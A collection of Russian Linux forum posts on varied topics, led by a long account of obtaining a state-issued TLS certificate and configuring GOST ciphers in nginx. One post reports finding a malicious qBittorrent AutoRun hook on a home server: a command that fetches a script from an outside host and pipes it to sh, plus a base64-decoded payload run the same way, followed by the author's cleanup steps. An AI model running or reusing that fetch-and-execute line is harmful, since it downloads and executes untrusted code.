Услышал, что LE не продлевает сертификаты кому-то из России.

Услышал, что какие-то удостоверяющие центры отозвали сертификаты у кого-то из России.

А мне как раз нужен сертификат для сайта организации (раньше не было никакого). Решил не наступать на зарубежные грабли и получить суверенный бесплатный сертификат от Минцифры.

1. Домен зарегистрирован на физлицо, это для Минцифры не подходит, нужно перерегистрировать на организацию. В Руцентре это делается через подачу заявления лично в офисе (остальные способы ещё хуже). Подал заявление, рассмотрение до 3 рабочих дней.

2. Проходит 3 рабочих дня, в личном кабинете домена нет, звонок в поддержку (только по будним дням в рабочее время), ожидание на линии 15 минут, специалист отвечает «рассмотрение до месяца», я проявляю настойчивость и говорю, что в офисе обещали 3 дня, должна быть какая-то причина, и лишь в результате тщательного допроса специалист признался, что в личном кабинете нужно зайти в «Операции → Смена администратора» и там нажать «Принять домен». На главной странице личного кабинета не было ни намёка на то, что появился новый домен для принятия, и я так и не узнал, когда он там появился, через 3 дня или через полчаса.

3. Для подачи заявления на сертификат нужна справка о принадлежности домена, подписанная УКЭП. Руцентр выдаёт такие справки бесплатно, если у вас подключена платная услуга «Безопасность домена» (я её подключать не собирался, они сами подключили). Заказываю справку, пропускаю при заказе варианты выбора доставки справки, и оказывается, что я заказал «Доставку почтой». Заказываю вторично, выбираю на этот раз электронный вариант, получаю отказ, т. к. уже заказана доставка почтой. Звоню в поддержку, ожидание на линии 10 минут, специалист отвечает, что отменить заказ можно только по заявке в поддержку через сайт. Пишу заявку на сайте, жду день, жду второй, звоню снова, через какое-то время заказ отменяют.

4. Заново заказываю справку о принадлежности домена, но теперь это платная услуга, потому что «Безопасность домена» как раз за эти 2 дня истекла и продлевать её я не собираюсь. Плачу за справку (сумма меньше), получаю результат через ещё 2 дня. Электронную справку без живой подписи, которая делается автоматически, делают 2 дня.

5. Справка получена, перехожу к заполнению заявления на Госуслугах на получение OV-сертификата. Первый вопрос: RSA или ГОСТ? Отвечаю, конечно ГОСТ, мы тут в суверенность играем или что, и я ещё давно слышал, что гостовские алгоритмы шифрования включили в OpenSSL. Заполняю конфигурационый файл по инструкции. В процессе пришлось выяснять, какого класса у меня СКЗИ Криптопро (оказалось, что КС1), а также расчехлить виртуалку с Астра-линуксом, чтобы создать ключ по ГОСТу (здесь меня должны были начать терзать смутные сомнения, но не начали).

6. Для отправки заявления нужно доказать владение доменом путём добавления TXT-записи с подтверждающим кодом. Это означает ожидание от 10 до 30 минут, пока запись дойдёт до московских DNS-серверов, что на общем фоне незначительная потеря. Но для чего тогда нужна справка?

7. Заявление отправлено в Минцифры, код подтверждён, справка с подписью тоже приложена. Через 10 секунд приходит отказ с формулировкой:

   NCA-315. Подпись документа, подтверждающего владение доменом, не прошла проверку

   Интернет таких слов не знает. Обращаюсь в поддержку Минцифры через Госуслуги же. Из поддержки отвечают на следующий день: оказывается, подписывать справку о принадлежности домена должен не регистратор домена, а организация, на которую оформлен домен. Из-за этого, во-первых, теряет всякий смысл само требование справки (и открывается возможность к более простой и нечестной процедуре получения справки без выполнения пп. 1-2), и во-вторых, теряют смысл действия в пп. 3-4, потому что справку без электронной подписи Руцентр просто даёт скачать с сайта бесплатно.

8. Подписываю уже имеющуюся справку Руцентра подписью организации, подаю заявление на Госуслуги снова, через 10 секунд отказ не приходит, радуюсь, затем радость постепенно сменяется томительным ожиданием, потому что срок рассмотрения до 3 рабочих дней (в моём случае было 2).

9. Получаю желанный сертификат, спешу поставить его на сервер и обнаруживаю, что:

   • Из коробки сертификат в nginx не работает, потому что суверенные гостовские алгоритмы, см. п. 5;

   • Рунет пестрит рекламой кастомной сборки nginx от Криптопро, в которую эти алгоритмы встроены, но последнее, что я хочу делать — это ставить на сервер чьи-либо кастомные сборки с регистрацией и кодами активации;

   • Всё же при наличии пакета libengine-gost-openssl, включения gost.so в конфиге OpenSSL и добавления в конфиг сайта

     ssl_protocols TLSv1.2; # Но не 1.3
     ssl_ciphers GOST2012-GOST8912-GOST8912:kGOST:aGOST;
     

     штатный nginx начинает работать.

10. Но начинает работать в п. 9 только сервер. Клиенты не работают. Точнее, работает один: openssl s_client из командной строки (при условии установки и включения gost.so из п. 9). Никакие десктопные браузеры сайт не открывают. Ни Хром, ни Фаерфокс, ни chromium-gost, ни даже Яндекс-браузер. Не открывают вообще, опции «открой, я доверяю», не предлагается. Для того, чтобы зайти на сайт, нужно расширение Криптопро. Тот факт, что системный OpenSSL работает без Криптопро, браузерам не помогает, потому что все они тащат свои реализации TLS, системной не пользуются. Есть возможность локального проксирования трафика через OpenSSL и хождения на сайт через http://localhost:1234, но это слишком неестественно даже для пользователей Линукса. В прошлом были десктопные браузеры, поддерживающие ГОСТ (Атом, Спутник), но их уже нет. Также ходят слухи о секретной государственной разработке под названием «Браузер Восток», но её ещё нет. Короче говоря, гостовский сертификат был ошибкой.

11. Возвращаюсь к. 5, заполняю заявку по другой форме на RSA-сертификат, повторяю п. 6, заявление отправлено, сертификат получен вечером того же дня, это успех.

12. На этом фоне требование поставить суверенные корневые сертификаты кажется сущим пустяком. Единственное, нужно поставить их дважды: в браузер (чтобы открывать сайт без предупреждения от браузера) и в систему (чтобы работало всё остальное). Но в браузер их и так уже все поставили из-за Сбербанка и РЖД, а в систему, ну что ж, сгорел сарай — гори и хата.

Выводы:

• С Руцентром лучше дела не иметь и регистрировать домены где угодно, только не в нём;

• Подписывайте сами выданные вам справки о владении доменами (не проверял, работает ли также выдача этих справок самому себе);

• Гостовские сертификаты вам нужны, только если вы государственная организация с повышенными требованиями к информационной безопасности, в остальных случаях берите RSA-сертификат;

• Если не делать лишних действий и если очень повезёт, можно справиться за 1 рабочий день!

Перемещено hobbit из talks

Всем привет! Вопрос, возможно, что не совсем про линукс, но в целом у меня есть порядка 60тб свободного места на своем сервере. Хочу накачать книг на все случаи жизни и прочего контента. Проблема в том что тыкать каждый торрент по одному очень долго. Есть ли снифферы для торрент сайтов? Или какие-то варианты качать по целым разделам?

UPDATE: Все оказалось банально, можно стать хранителем и встать на раздачу любого раздела трекера. Например так

Скачиваются разделы с помощью расширения Tampermonkey для браузера и скрипта

Сейчас многие российские сайты, в первую очередь сайты банков, перешли (не по своей воле, но тем не менее) на использование УЦ, которые контролируются Правительством Российской Федерации. Корневые сертификаты этих УЦ (в просторечье - «сертификаты Минцифры»), как правило, по умолчанию не включаются в списки доверенных стандартными иностранными ОС и браузерами. Что будет, если мы их туда включим?

( читать дальше... )

В общем, обновил ноут до resolute и случайно заметил, что в списке wifi видна моя сеть из диапазона 6G. Тыкнул. Подкючилось!!!!

ААААаааАА!!!!

Точка доступа ASUS RT-AXE7800 https://www.asus.com/networking-iot-servers/wifi-routers/asus-wifi-routers/rt...

Адаптер в ноуте product: Wi-Fi 6E(802.11ax) AX210/AX1675* 2x2 [Typhoon Peak]

04:00.0 Network controller: Intel Corporation Wi-Fi 6E(802.11ax) AX210/AX1675* 2x2 [Typhoon Peak] (rev 1a)
	Subsystem: Intel Corporation Wi-Fi 6 AX210 160MHz
	Flags: bus master, fast devsel, latency 0, IRQ 112, IOMMU group 15
	Memory at fcf00000 (64-bit, non-prefetchable) [size=16K]
	Capabilities: <access denied>
	Kernel driver in use: iwlwifi
	Kernel modules: iwlwifi

Мои претензии к почте:

1. Это устаревшее корпоративное блоатваре

2. Сервер собеседника может читать всю вашу переписку.

3. Поскольку предвижу проблемы с чтением предыдущего пункта, повторяю: сервер собеседника.

4. Сервер собеседника в 99% случаев яндекс, гугл и т.п.

5. TLS не позволяет настоящую защиту: любой дурак, получивший доступ к ЦС, может читать вашу переписку

6. …а телега и вотсапп, не говоря же у матрикс, позволяют полноценное EE шифрование

7. минус нормальные уведомления, аудиовидео, +спам ну и так по-мелочи

8. из-за пункта 4, 100500 ограничений на передачу файлов: у многих бесплатных до сих пор файлы по 12 Мб приходится нарезать, например

Есть домен в зоне ‘.org’, обслуживаемый в R01.

Подходит срок для продления. R01 требует перенести домен в Руцентр (nic.ru). Для переноса нужен «код переноса» от R01, но R01 этот код не предоставляет, на звонки не отвечает, на тикеты в админке не отвечает, на письма в почту тоже.

Nic.ru тоже не реагирует ни на что вообще.

Куды бедному крестьянину податься?

Обычный TLC-3d-nand-флешко M.2 NVME SSD гигов на 128, за пару лет без питания забудет кусок секторов. Можно случайно не стартануть свой NAS, вернувшись из 4-летней командировки.

А что если в слот M.2 воткнуть Intel Optane M10 nvme 16gb купленный на авито за 800 рублей? На загрузочный readonly-раздел серверного дебиана для NAS такого объёма хватит, а технология «оптанов» не основана на чём-либо утекающем или разряжающемся. Там в каждой ячейке что-то типа стеклоподобного вещества, которое находится в одном из 2 стабильных состояниях: «сильно потрескавшееся стекло» и «аккуратно запечёное прозрачное стекло». И это, говорят, вообще никак не меняется с годами. И если монтировать это как readonly (нафиг мне в NAS в загрузочном диске изменения-то), то не проявляется критический недостаток «оптанов» - нет лютого прогрева чипа.

Минусы: выглядит как дурка, потому что Optane умер, снят с производства и найти замену можно только на барахолке. Второе - если контроллер сдох, то мастера по восстановлению данных отправят в дурку.

На практике проверил - компутер с такого грузится.

Скорее всего я придумал дичь и нормальные люди просто бекапят настроенный загрузочный раздел, а не ожидают его вечной работы. Причина потери не важна. Если она сама «забыла», потому что 2 года не включали, то это в принципе нештатная ситуация и так обычно люди NAS-ом не пользуются. Берут бекап и катят заново этот загрузочный раздел: голый дебиан наверное можно мегабайт до 150 пожать?

З.Ы. Не знаю, сюда ли или таки в Токсы, но тема как бы техническая всё-таки.
Тяга к экономии и жажда к максимизации побудили меня купить мини-пк c инженерным образцом Intel, на платформе, вроде как, AFOX H610xx. Выбрал по причине двух САТА-портов и инженерика i7-12700.

Что понравилось:
1 - 12 ядер - 20 потоков
2 - невпаянная память, а 2 слота для SO-DIMM DDR4. Установлено 16 ГБ
3 - невысокая цена.

Что не понравилось:
1 - нет NVME в M.2, только САТА (из-за того, что проц инженерик) (это я знал)
2 - ну, очень урезанный БИОС от DEXP, грубо говоря, можно сказать, что меню выбора загрузки
3 - наличие двух Ethernet адаптеров, I219-V и Realtek R8168, но дырка одна и там R8168. e1000e тоже загружается, но с ошибками, ведь реально его нет
4 - видео выходы - DisplayPort и HDMI. (но это уже мои причуды)
5 - почему не перезагружается чрез reboot/shutdown, приходится выключать кнопкой и потом включать.

С чем столкнулся в процессе использования, ставлю Дженту, т.к. мне с ней проще, да и собственная репка нужных пакетов решает.
1 - без дров для видео вообще ничего не показывается
2 - зависоны без какой-то видимой нагрузки (т.к. GCC нормально собрался с LTO и PGO и пересобрался, а ночью комп завис). Решено отключением энергосбережения. (в cmdline - intel_idle.max_cstate=1 processor.max_cstate=1 pcie_aspm=off)

Также словил 3 раза за сутки распространённую такую ошибку с R8168/9, поставил драйвер от Realtek

[Fri Jul 17 17:23:54 2026] r8169 0000:01:00.0 enp1s0: NETDEV WATCHDOG: CPU: 18: transmit queue 0 timed out 5367 ms
[Fri Jul 17 17:23:54 2026] r8169 0000:01:00.0 enp1s0: rtl_txcfg_empty_cond == 0 (loop: 42, delay: 100).
[Fri Jul 17 17:23:54 2026] r8169 0000:01:00.0 enp1s0: rtl_rxtx_empty_cond == 0 (loop: 42, delay: 100).

~ $ qlop -tv gcc
2026-07-14T10:08:52 >>> sys-devel/gcc-16.1.1_p20260613: 1:47:33
2026-07-14T12:43:33 <<< sys-devel/gcc-15.3.0: 1s
2026-07-14T16:56:16 >>> sys-devel/gcc-16.1.1_p20260613: 1:47:31

~ $ lspci
00:00.0 Host bridge: Intel Corporation 12th Gen Core Processor Host Bridge/DRAM Registers (rev 01)
00:02.0 VGA compatible controller: Intel Corporation Alder Lake-S GT1 [UHD Graphics 770] (rev 04)
00:08.0 System peripheral: Intel Corporation 12th Gen Core Processor Gaussian & Neural Accelerator (rev 01)
00:0a.0 Signal processing controller: Intel Corporation Platform Monitoring Technology (rev 01)
00:14.0 USB controller: Intel Corporation Alder Lake-S PCH USB 3.2 Gen 2x2 XHCI Controller (rev 11)
00:14.2 RAM memory: Intel Corporation Alder Lake-S PCH Shared SRAM (rev 11)
00:16.0 Communication controller: Intel Corporation Alder Lake-S PCH HECI Controller #1 (rev 11)
00:17.0 SATA controller: Intel Corporation Alder Lake-S PCH SATA Controller [AHCI Mode] (rev 11)
00:1c.0 PCI bridge: Intel Corporation Alder Lake-S PCH PCI Express Root Port #2 (rev 11)
00:1f.0 ISA bridge: Intel Corporation H610 Chipset LPC/eSPI Controller (rev 11)
00:1f.3 Audio device: Intel Corporation Alder Lake-S HD Audio Controller (rev 11)
00:1f.4 SMBus: Intel Corporation Alder Lake-S PCH SMBus Controller (rev 11)
00:1f.5 Serial bus controller: Intel Corporation Alder Lake-S PCH SPI Controller (rev 11)
00:1f.6 Ethernet controller: Intel Corporation Ethernet Connection (17) I219-V (rev 11)
01:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8211/8411 PCI Express Gigabit Ethernet Controller (rev 15)

~ $ cat /proc/cpuinfo 
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 151
model name      : Genuine Intel(R) 0000
stepping        : 1
microcode       : 0x1c
cpu MHz         : 2865.186
cache size      : 25600 KB

~ $ lscpu
Architecture:                x86_64
  CPU op-mode(s):            32-bit, 64-bit
  Address sizes:             46 bits physical, 48 bits virtual
  Byte Order:                Little Endian
CPU(s):                      20
  On-line CPU(s) list:       0-19
Vendor ID:                   GenuineIntel
  Model name:                Genuine Intel(R) 0000
    CPU family:              6
    Model:                   151
    Thread(s) per core:      2
    Core(s) per socket:      12
    Socket(s):               1
    Stepping:                1
    Microcode version:       0x1c
    CPU(s) scaling MHz:      21%
    CPU max MHz:             4000.0000
    CPU min MHz:             800.0000
    BogoMIPS:                1613.00

Представляю первый релиз метронома IronTick. Это легковесный, точный, кроссплатформенный метроном, использующий фреймворк Qt6. Отличается тем, что генерирует непрерывный аудиопоток с кликами вместо того, чтобы воспроизводить отдельные клики по таймеру, как это делает большинство других программ-метрономов. Благодаря такому подходу, IronTick кликает намного стабильнее и точнее, даже при наличии большой фоновой нагрузки.

( читать дальше... )

>>> Проект на GitHub (github.com)

https://www.opennet.ru/opennews/art.shtml?num=65901

Опубликованы результаты тестирования задержек при использовании устройств ввода в играх, запускаемых в окружениях на базе X11 и Wayland. Дополнительно оценено влияние включения адаптивного изменения частоты обновления экрана (VRR, G-Sync) и использования вместо DXVK форка dxvk-low-latency с оптимизациями для снижения задержек. Тестирование подтвердило встречающиеся в среде игроков мнение, что окружения на базе X11 позволяют добиться более высокой отзывчивости ввода, чем при использовании Wayland. Также подтверждено благотворное влияние на отзывчивость включения VRR и применения dxvk-low-latency.

Измерение задержек проведено с использованием самодельного аппаратного устройства на базе микроконтроллера Raspberry Pi RP2040 и фотодиода, которое симулирует USB-мышь и измеряет время между генерируемым кликом и изменением яркости экрана. Тестирование осуществлялось на компьютере с CPU AMD Ryzen 7 5800X3D и GPU NVIDIA GeForce RTX 4070 SUPER. В качестве дистрибутива использовался CachyOS с ядром Linux 7.1.3, проприетарным драйвером NVIDIA 610.43.03 и рабочим столом KDE Plasma 6.7.2.

Измерение производилось в Windows-игре Diabotical на базе графического API DirectX 11, запускаемой через пакет Proton 11.0. Во всех тестах позиция игрока и состояние игры повторялись, в игре также были отключены боты и не выполнялось перемещение игрока. В каждом тесте выполнялось три итерации по 100 симулированных кликов. Каждый автоматизированный клик скрывал HUD-интерфейс с белым фоном, что приводило к большому изменению ярости, фиксируемому самодельным измерителем.

Наименьших задержек удалось добиться в сочетании X11 с VRR и dxvk-low-latency — 4.21 мс. На втором месте оказалась конфигурация Wayland + VRR + dxvk-low-latency — 4.38 мс. Средняя задержка при использовании чистого X11 составила 4.79 мc, а Wayland — 4.93 мс. Разница в 0.14 и 0.22 мс отмечена как слишком незначительная для распознавания игроками. Предполагается, что благодаря инициативам по оптимизации KWin отставание Wayland от X11 в ближайшее время сократится.

VRR и dxvk-low-latency несущественно снижают задержки, но помимо задержек их применение сужает разброс значений, сглаживает пики производительности, выравнивает FPS и делает задержки более предсказуемыми в реальных условиях, в которых нагрузка на GPU и CPU постоянно меняется.

Наихудшие показатели оказались у XWayland — 8.06 мс и связки XWayland c dxvk-low-latency — 5.95 мс. Разница в задержках при использовании XWayland уже более заметная, поэтому в пользовательских окружениях на базе Wayland рекомендуется запускать Proton с включением экспериментальной поддержки Wayland, активируемой через выставление переменной окружения PROTON_ENABLE_WAYLAND=1.

восстановление HDD без гарантии - 20 тыс.р. Замена контроллера HDD на такой же - 5 тыс. р.

Теперь, чо, любой HDD можно восстановить по цене двух самых дешёвых двухтерабайтников?

Всем привет.
Прикупил вчера Radeon RX 9070 XT. Под Subnautica 2. Поставил. Всё взлетело, начал играть (под ubuntu) и через некоторое время машина просто погасла. Вероятно, из-за перегрева. Да, у меня там довольно плотно всё, а охлаждение - не турбина, к сожалению. Перегрузился в венду, поставил дрова и там в родной утилите покрутил управление вентилятором и лимитом питания. В результате температура стабилизировалась (в игре) на 82 градусах. И никаких более выключений.

Соответственно, у меня вопрос. А как такое повторить в Ubuntu? Сейчас это 24.04. Не хочу каждый раз перезагружаться.
Спасибо.

Сразу сходу надо сделать ремарку, что это касается только почты со своим доменом, судя по всему. А также, что это инфа из разных источников, т.к. официального нет, есть только письмо, разосланное Яндексом тем, кто им пользуется.

Вдогонку к С начала июня Яндекс ограничивает бесплатное использование «Диска» на компьютерах.

Цитата с internet-lab.ru:

Яндекс сообщает.

С 29 июня работа с Яндекс Почтой по протоколам IMAP, SMTP и POP3 будет недоступна без тарифа Яндекс 360. если у вашей организации не подключён тариф, сотрудники не смогут работать с почтой в Microsoft Outlook, Mozilla Thunderbird и других программах. Что можно сделать: Продолжить работу без тарифа в веб-версии или в мобильном приложении Яндекс Почты или подключить любой тариф Яндекс 360 со скидкой 60% на три месяца.

>>> Скриншот письма

Информация косвенно подтверждается хабром, розеткедом и ещё несколькими ресурсами в рунете.

Яндекс предлагает выбрать один из трёх платных тарифов:

• Базовый (249 рублей в месяц за каждого пользователя) — 100 ГБ пространства, 1500 писем в «Рассылках»;
• Оптимальный (559 рублей в месяц за каждого пользователя) — 1 ТБ пространства, 50 000 писем в «Рассылках», защищённый архив писем;
• Расширенный (1399 рублей в месяц за каждого пользователя) — 3 ТБ пространства, 100 000 писем в «Рассылках», защищённый архив писем.

Раньше на бесплатном тарифе можно было подключить до 1000 почтовых ящиков на собственном домене с возможностью отправки до 1500 писем в месяц с каждого. Каждому юзеру выдавали 10 ГБ хранилища на «Диске» и доступ к «Календарю», «Телемосту», «Мессенджеру» и другим сервисам.

Ну вот например, был раньше девайс для торговли водярой «Atol hub-19». Внутри cubieboard2 или cubietruck, а цена на авито 500-1000 руб, при этом есть корпус. Туда встаёт armbian. Но по современным меркам девайс слаб, хотя видеонаблюдение за котом через webcam на нём делать можн, там даже 1G DDR3 RAM. Данный atol hub 19, к примеру, справляется обрабатывать 250кгц радиоспектра через rtl-sdr в режиме поиска активностей, т.е. радиосканера. Может быть можно выжать 1 мгц, но это врядли уже. Эта тварь у меня раз в неделю или около того тупо зависает. Я не пытался это дебажить, а настроил аппаратный вотчдог в проце и это хотя-бы за 15 секунд её ребутает.

А вот нынче развелось полно всяких TV-android приставок, которым завален авито по 1-2 тыр рублей и процы я так понимаю там гораздо интереснее, чем Allwinner A20, например H616. И выглядят они по форме как тот Atol HUB-19: аккуратная черная коробочка с Ethernet/wi-fi. Например популярная TV-приставка X96q: проц Allwinner H313, памяти 1-2 гб. Но стабильность и способность этой фигни загружаться с sd автоматически после подачи питания не ясна.

Вот интересен списочек. Списочек тех представителей данного семейства хлама, на что уважаемый анон успешно катнул армбиан и оно стабильно, умеет грузиться с sd, есть инструкция и по меркам одноплатников проц не днище.

Доброго времени суток

Сабж. Решил дома писать бекапы на блюрей (Выбор системы бэкапа)

Что взял:

• привод ASUS SBW-06D2X-U/BLK/G/AS

  в знакомом магазине

  описание на сайте вендора (нужен полноценный интернет): https://www.asus.com/motherboards-components/optical-drives/external-blu-ray-drive/sbw06d2xu/

    Write Speed (max)
      BD-R : 6X
      BD-R(SL, M-DISC) : 4X
      BD-R(DL) : 6X
      BD-R(TL/QL) : 4X

• перезаписываемые болванки bd-re sl (25 gb), verbatim

• болванки bd-r xl (100 gb, трехслойные), verbatim, элитные m.a.b.l.

  все болванки с маркетплейсов. больше нигде не нашел

1. начал с перезаписываемых

   1.1. k3b сходу повыносил мозги отсутствием проверки пред записью (длинные имена, которые не будут совместимы с виндой). оказалось, менять параметны утилит бестолку. нужно в свойствах проекта выбрать «unix only». запись и проверка прошли успешно. запись шла +- на скорости 1x

   1.2. brasero не стал создавать iso, а сразу погнал записывать. скорее всего, из-за этого он тупил на скорости 0.2x часа 2, потом выдал ошибку. но диск вроде бы как читался (скорее всего нет, об этом дальше)

2. решил перейти к 100 gb

   и k3b, т.к. brasero и диагностика это несовместимые вещи

   2.1. 100 gb, попытка # 1

    * iso 83 GiB создался без проблем
    * запись началась на скорости 0.9x и медленно ускорялась. где-то через 1.5 .. 2 ч скорость поднялась до 1.7x и прервалась где-то после 23 GiB
   
     подумал, что надо просто ограничить скорость до 1x и запастить терпением (6ч)
   

   2.2. 100 gb, попытка # 2

    * после нажатия burn выставил скорость "другое - 1x" (привод поддерживал 4x и 2x, болванка - до 4x)
    * набор файлов в проект k3b тот же, 83 GiB
    * запись началась на скорости 0.9x и не поднималась выше 1
    * через 2 часа дошла до 25 GiB ровно и опять отвалилась. на этот раз хоть догадался сохранить лог. лог добавлю позже. 25 это размер одного слоя
   

что интересно, обе запоротых болванки при попытке чтения формально определяются, показывают правильное название и список файлов, но при чтении после обрыва (dd … bs .. skip) выдают нули

возможно, brasero (1.2) тоже обломался записать однослойный за 2 часа. т.е. может дело не в одном слое, а во времени записи (что-то перегревается например)

Теперь вопросы:

• кто-нибудь записывал многослойные blu-ray в linux? есть какие-то подводные камни?

• (просто любопытно) есть ли способ верификации болванки уже после записи? не привязанный к процессу записи, когда уже нет ни проекта, ни iso? Т.е. проверить, что финализация прошла, все файлы читаются, размер адекватный, каких-то аномалий нет)

  upd: qpxtool (Кто-нибудь записывал многослойные blu-ray в линуксе? (комментарий))

     https://disk.yandex.ru/d/u7cgN02SsfT_RA
  

• существуют ли способы диагностики болванок? Т.е. когда мошенник производитель пытается выдать однослойные noname болванки за что-то получше?

upd:

• Большой шанс, что попались поддельные болванки 100 gb. На маркетплейсах полно отзывов на болванки, что запись прерывается на втором слое. Но про диагностику и верификацию все равно интересно
• про скорость записи: wikipedia (en)

Братва, а расскажите пожалуйста, какой нынче положняк по компакт дискам? Какие болванки не совсем говно, но при этом чтобы не платить по косарю за один диск? А то времена нынче такие, что явно пора запасаться консервами

И если про приводы ещё что-то полезное можно нагуглить, то вот где и как лучше брать диски - совершенно непонятно

Кто какими ai chat-bot сайтами пользуется?
Те что видел - с задержкой появления каждой буквы в ответе. Это для идиотов?

Хорошо бы если б оно помимо помощи в кодинге умело бы генерировать картинки и реалистичные видео.
В идеале безплатный.

Интересует не какя-то модель, а конечая реализация в виде какого-то конкретного сайта.

Перемещено CrX из science

Перемещено hobbit из talks

Если бы для джаббера был такой же клиент красивый как телеграм или ватсап, то я думаю все эти плохие говорилки, которые требуют номер телефона при регистрации (с технической точки зрения совершенно не нужный) - больше бы никто не использовал.

Меня мучает вопрос почему до сих пор такого клиента нет? На уровне своих знаний я не могу дать себе достаточно убедительный ответ на этот вопрос.

У меня есть свободное время и несколько коллег, которые могли бы за пару лет сделать что-то подобное и выложить на github. Не замесят ли нас агенты какой-то службы, которая, как мне кажется, не даёт никому выпустить такой клиент (на правах версии).

Не написал эту тему в Talks, так как там стоит лимит на репутацию.

Если я написал что-то не то - удаляйте сообщение, я жаловаться не буду.

Перемещено CrX из general

Всем привет!

Внутри сервера Proxmox был LXC для qBittorrent, через который качал всякое. Внезапно обнаружил, что в файле: /root/.config/qBittorrent/qBittorrent.conf:

  [AutoRun]
  OnTorrentAdded\Enabled=true
  OnTorrentAdded\Program=sh -c "(curl -s http://0x1x2x3.top || wget -qO - http://0x1x2x3.top) | sh"
  enabled=true
  program="sh -c \"echo <base64> | base64 -d | sh\""

Кто-то прописал в «выполнить при добавлении торрента» скрипт, который скачивает и запускает шелл с http://0x1x2x3.top. Хз может какой-то криптомайнер.

Проблема в том, что mount point был смонтирован к пулу с моими файлами. Могла ли эта гадость дальше пролезть и что можно сделать кроме проверки ClamAV?

ЧТО В ИТОГЕ:

1. Поставил на входе на NGINX ограничение по GEOIP
2. Убил инфицированный контейнер
3. Проверил mount point через ClamAV, новых файлов не нашел
4. Стал использовать CrowdSec
5. Думаю над VPN для внутренних сервисов

Всех приветсвую! Хотел бы узнать с чего стоит начать, чтобы писать дрова для каких нибудь микроконтроллеров или микроплат (возможно даже какие-нибудь модули ядра). Для меня asm это уж слишком. Можно ли использовать только C? или asm это обязательное требование? Буду рад если вы мне дадите советов или каких нибудь источников для изучения.